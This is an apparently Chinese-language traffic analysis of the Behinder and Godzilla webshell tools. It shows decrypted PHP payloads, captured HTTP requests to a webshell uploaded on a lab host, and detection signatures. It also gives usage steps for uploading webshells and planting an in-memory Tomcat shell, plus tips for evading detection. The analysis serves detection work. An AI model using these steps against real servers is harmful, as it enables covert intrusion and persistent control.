一、冰蠍2
冰蠍是一款基於Java開發的動態加密通信流量的新型Webshell客戶端。
冰蠍的通信過程可以分為兩個階段:密鑰協商和加密傳輸
(1)第一階段:密鑰協商
攻擊者通過GET方式請求服務器密鑰:
這個是代碼:
這是服務端存儲的$_SESSION變量
(2)服務器使用密鑰解密
服務端使用隨機數高16位作為密鑰,並且存儲到會話的$_SESSION變量中,並返回密鑰給攻擊者
當我們輸入命令操作后,請求方式就會變成POST
這個是代碼段:
因為我本地是有openssl擴展的,所以執行else里面的代碼段
可以看到服務端用之前生成的密鑰進行AES128解密請求的post數據
這個是我大概寫的一個輸出腳本:
base64解碼:
1 @error_reporting(0); 2 function main($content) 3 { 4 $result = array(); 5 $result["status"] = base64_encode("success"); 6 $result["msg"] = base64_encode($content); 7 $key = $_SESSION['k']; 8 echo encrypt(json_encode($result),$key); 9 } 10
11 function encrypt($data,$key) 12 { 13 if(!extension_loaded('openssl')) 14 { 15 for($i=0;$i<strlen($data);$i++) { 16 $data[$i] = $data[$i]^$key[$i+1&15]; 17 } 18 return $data; 19 } 20 else
21 { 22 return openssl_encrypt($data, "AES128", $key); 23 } 24 }$content="713fd3e0-d2c2-4536-8391-ae12c124a44f"; 25 main($content);
然后服務端腳本繼續往下執行:
這幾行的代碼就十分好懂了,用分割線生成數組,然后取數組第1位元素的值,最后eval執行
顯然它將返回結果也加密了
(3)特征總結
a.ACCEPT字段
冰蠍2默認Accept字段的值很特殊,而且每個階段都一樣
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
b.UA字段
冰蠍內置了十余種 UserAgent ,每次連接 shell 會隨機選擇一個進行使用。但都是比較老的,容易被檢測到,但是可以在burp中修改ua頭。
c.Content-Length
Content-Length: 16, 16就是冰蠍2連接的特征
二、冰蠍3
對比冰蠍2,冰蠍3取消動態密鑰獲取,目前很多waf等設備都做了冰蠍2的流量特征分析,所以3取消了動態密鑰獲取;只有在無動態密鑰交互失敗后,才會進入常規的密鑰交互階段。
密鑰生成可以看出,使用密碼的md5結果的前16位。
特征分析:
1)Accept頭有application/xhtml+xmlapplication/xmlapplication/signed-exchange屬於弱特征
2)ua頭該特征屬於弱特征。通過burp可以修改,冰蠍3.0內置的默認16個userAgent都比較老。現實生活中很少有人使用,所以這個也可以作為waf規則特征。
數據包加密分析:
當我們去請求連接服務端的shell_bing3.0.php時,會在服務端的會話中存儲一個值為"e45e329feb5d925b"的$_SESSION變量,也就是密鑰$key
然后服務端用生成的密鑰去解密請求的POST數據包內容
這是我寫的小腳本(我其實就是想看看發送的POST數據包內容)
解密結果:
再次進行base64解密:
1 @error_reporting(0); 2 function main($content) 3 { 4 $result = array(); 5 $result["status"] = base64_encode("success"); 6 $result["msg"] = base64_encode($content); 7 $key = $_SESSION['k']; 8 echo encrypt(json_encode($result),$key); 9 } 10
11 function encrypt($data,$key) 12 { 13 if(!extension_loaded('openssl')) 14 { 15 for($i=0;$i<strlen($data);$i++) { 16 $data[$i] = $data[$i]^$key[$i+1&15]; 17 } 18 return $data; 19 } 20 else
21 { 22 return openssl_encrypt($data, "AES128", $key); 23 } 24 }$content="Xg7QPeZL9pqCKhXs8Sug7C2Uxnoi39z7DQup7oysPVx60VpOEt2HgP1mGm95uA1b1xJ8tjz29YKZSHWDTFQ5MUbFDdzrx4buFBVj2taUJYTbHUq3fa763mSMOirkT9rs99vKdHEuHoZCqBpawjqQQUejU5aHE4FAHHcF24mOpPsL2TU9JgngUkPwPRJZRtXwF"; 25 main($content);
@error_reporting(0); function main($content) { $result = array(); $result["status"] = base64_encode("success"); $result["msg"] = base64_encode($content); $key = $_SESSION['k']; echo encrypt(json_encode($result),$key); } function encrypt($data,$key) { if(!extension_loaded('openssl')) { for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; } return $data; } else { return openssl_encrypt($data, "AES128", $key); } }$content="Xg7QPeZL9pqCKhXs8Sug7C2Uxnoi39z7DQup7oysPVx60VpOEt2HgP1mGm95uA1b1xJ8tjz29YKZSHWDTFQ5MUbFDdzrx4buFBVj2taUJYTbHUq3fa763mSMOirkT9rs99vKdHEuHoZCqBpawjqQQUejU5aHE4FAHHcF24mOpPsL2TU9JgngUkPwPRJZRtXwF"; main($con
后面的執行代碼其實跟冰蠍2類似
三、哥斯拉
介紹
哥斯拉是一個基於流量、HTTP全加密的webshell管理工具相對於蟻劍,冰蠍;哥斯拉具有以下優點。
全部類型的shell均過市面所有靜態查殺
流量加密過市面全部流量waf
Godzilla自帶的插件是冰蠍、蟻劍不能比擬的
使用
(1)Godzilla的運行需要java環境,win下直接雙擊就可,linux下java -jar Godzilla.jar
此時會在同目錄下生成data.db數據庫存放數據
(2)Godzilla的webshell可以自定義生成操作方法:管理-生成所需的webshell,哥斯拉支持jsp、php、aspx等多種載荷java和c#的載荷原生實現AES加密
java使用AES加密
php使用異或加密
(3)將生成的webshell上傳到目標機器,然后在Godzilla目標欄添加相應的url
PHP連接特征
(1)php_XOR_BASE64
設置代理,用burp抓包。截取到特征發現請求都含有"pass="第一個包
POST /hackable/uploads/base.php HTTP/1.1 User-Agent: Java/1.8.0_131 Host: 192.168.0.132:777 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-type: application/x-www-form-urlencoded Content-Length: 23275 Connection: close pass=KX4nWAFVJ005aWdeUVosCjpuL0k7YApWKGVGfHFTUXg5WDNFOwszSQEDAVVRWjdGKHU3RwBgLEkGRgV5e3cgVCpxP0YBVVBRB3d3WlFZJ0c5bjdcAVEGUgB2BEh%2BXQJeMGMdQAMKN2M BAmALeE1UWjpuK1wsUjN%2FAVx7RGhzNFwpBFRcBn9YTylIXkJ9Q1F4J2cKVyt7IF4CZmxVeXczVTYGM2Q3CA1pN11GW2taDUQ6bitKOgpYTjlmAFRrWSdJOWE3QAFRK10zZQQCUVo3XyhuFn4hUSBeKnJ0VXt3IFQycS8FAX8nQwAADERRczdGOwQvWAEKN1ICaXxdeW ASfSBfJFcreyMAJ2BafHFdIFQqdSdJOGAzCABcAVVrWSdJOWI8ADBvVFMBA2deeXM3ATphHXcGb1RTKHJeQn1DUXgFZ1V7JmkRVAdmAFhWcw1FAV8nWQdgI1EAAntUUAcjXwFaXFk7YC9VOXZZS3l3DQQnZwp XK3sgXgJmbF17YSNeAmEdXDoKNw0CaXsCUU0GXTpYCUc7YC9DOwMMRWhjVFU6WyNKOG8zSQBYVkJ5bBJ9IF8kVyt7IF4qcnRVY3NQQTlxCUkpewVQBml3WlE
第二個包
POST /hackable/uploads/base.php HTTP/1.1 User-Agent: Java/1.8.0_131 Host: 192.168.0.132:777 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-type: application/x-www-form-urlencoded Content-Length: 51 Connection: close pass=AWEzAAN%2FWFI3XHNGaGBQWDEHPwY4fSQAM2AIDw%3D%3D
(2)php_XOR_RAW
執行ls和cat命令,命令雖然不同,但是發現請求中都含有一樣的
:•T[6• L9e
ls命令的包
POST /hackable/uploads/g.php HTTP/1.1 Cookie: PHPSESSID=oo9hn9d3uqq7661o3oldu0ojo7; User-Agent: Java/1.8.0_131 Host: 192.168.0.132:777 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-type: application/x-www-form-urlencoded Content-Length: 56 Connection: close :•T[6• L9e•[aqP•)[T\••O9t
cat命令的包
POST /hackable/uploads/g.php HTTP/1.1 Cookie: PHPSESSID=oo9hn9d3uqq7661o3oldu0ojo7; User-Agent: Java/1.8.0_131 Host: 192.168.0.132:777 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-type: application/x-www-form-urlencoded Content-Length: 72 Connection: close :•T[6• L9e•h•_8D0c+r•}•L6[gYccY )[T\••O9t
當以為這就是特征時就大錯特錯了,這只是這一次連接所含有的特征
內存馬
內存shell模塊實現了在tomcat中上傳一個哥斯拉的馬或者冰蠍、菜刀的馬。甚至是上傳regeorg建立http隧道。
在這里我選擇上傳一個冰蠍馬。
然后在冰蠍連接,成功連接。
內存shell 無日志,會在tomcat重啟后消失。
ps:哥斯拉避免被查殺技巧:
1.不使用默認密碼(pass)
2.修改ua頭
3.填充垃圾數據(post的左右)
參考:https://www.freebuf.com/articles/web/257956.html